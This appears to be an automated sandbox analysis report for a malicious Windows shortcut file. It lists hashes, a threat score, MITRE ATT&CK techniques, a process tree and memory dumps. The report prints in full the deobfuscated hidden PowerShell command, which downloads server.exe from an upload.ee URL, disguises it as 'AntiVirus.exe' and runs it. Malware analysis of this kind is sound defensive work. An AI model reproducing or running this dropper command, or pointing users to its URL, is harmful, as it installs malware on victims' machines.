d459b471566d70ba7b2b12b4caa8db1def229f69351b6418df9a52b769201005

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
30/09/2024, 00:09

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General

Target

ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk
Size

1KB
MD5

ff8cc167467fafc1789656bdab467de8
SHA1

ff3f3d924012dbd249dc8cf4e9c33fa2bc5be614
SHA256

d459b471566d70ba7b2b12b4caa8db1def229f69351b6418df9a52b769201005
SHA512

22932482f0966c9469e9c701b0acd4852d943d6aac08358c6a7996fbe1471f5e4b3bd140da57a0374b39f7f06f07abf662583261522c118774dc3ee361069bad

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2740	powershell.exe
6	2740	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2740	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 2740	2096	cmd.exe	31
PID 2096 wrote to memory of 2740	2096	cmd.exe	31
PID 2096 wrote to memory of 2740	2096	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\ff8cc167467fafc1789656bdab467de8_JaffaCakes118.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -noprofile -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://www.upload.ee/download/7435588/411c441150c712390a6f/server.exe','C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe');Start-Process 'C:\Users\Admin\AppData\Local\Temp\AntiVirus.exe'
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2740-38-0x000007FEF61AE000-0x000007FEF61AF000-memory.dmp

Filesize
4KB

Download
memory/2740-39-0x000000001B670000-0x000000001B952000-memory.dmp

Filesize
2.9MB

Download
memory/2740-40-0x0000000002230000-0x0000000002238000-memory.dmp

Filesize
32KB

Download
memory/2740-41-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-42-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-43-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download
memory/2740-44-0x000007FEF5EF0000-0x000007FEF688D000-memory.dmp

Filesize
9.6MB

Download